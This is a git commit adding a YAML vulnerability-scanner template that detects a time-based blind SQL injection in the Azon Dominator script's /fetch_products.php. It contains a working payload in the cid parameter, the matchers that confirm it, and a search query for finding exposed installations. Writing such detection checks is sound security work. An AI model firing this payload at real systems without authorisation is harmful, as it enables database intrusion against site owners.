add azon dominator sqli

patch-4
Kazgangap 2024-07-03 20:14:55 +03:00
parent da709ca266
commit aa31bae34d
1 changed files with 33 additions and 0 deletions

View File

@ -0,0 +1,33 @@
id: azon-dominator-sqli
info:
name: Azon Dominator - SQL Injection
author: securityforeveryone
severity: high
description: Azon Dominator software is vulnerable to a sql attack at /fetch_products.php.
reference:
- https://www.exploit-db.com/exploits/52059
- https://www.codester.com/items/12775/azon-dominator-affiliate-marketing-script
metadata:
verified: "true"
max-request: 1
fofa-query: "Azon Dominator"
tags: azon-dominator,affiliate-marketing-script,sqli
http:
- raw:
- |
@timeout 20sn
POST /fetch_products.php HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
cid=1*if(now()=sysdate()%2Csleep(6)%2C0)&max_price=124&minimum_range=0&sort=112
matchers:
- type: dsl
dsl:
- 'contains_all(body,"id","name")'
- 'duration>=6'
- 'status_code==500'
condition: and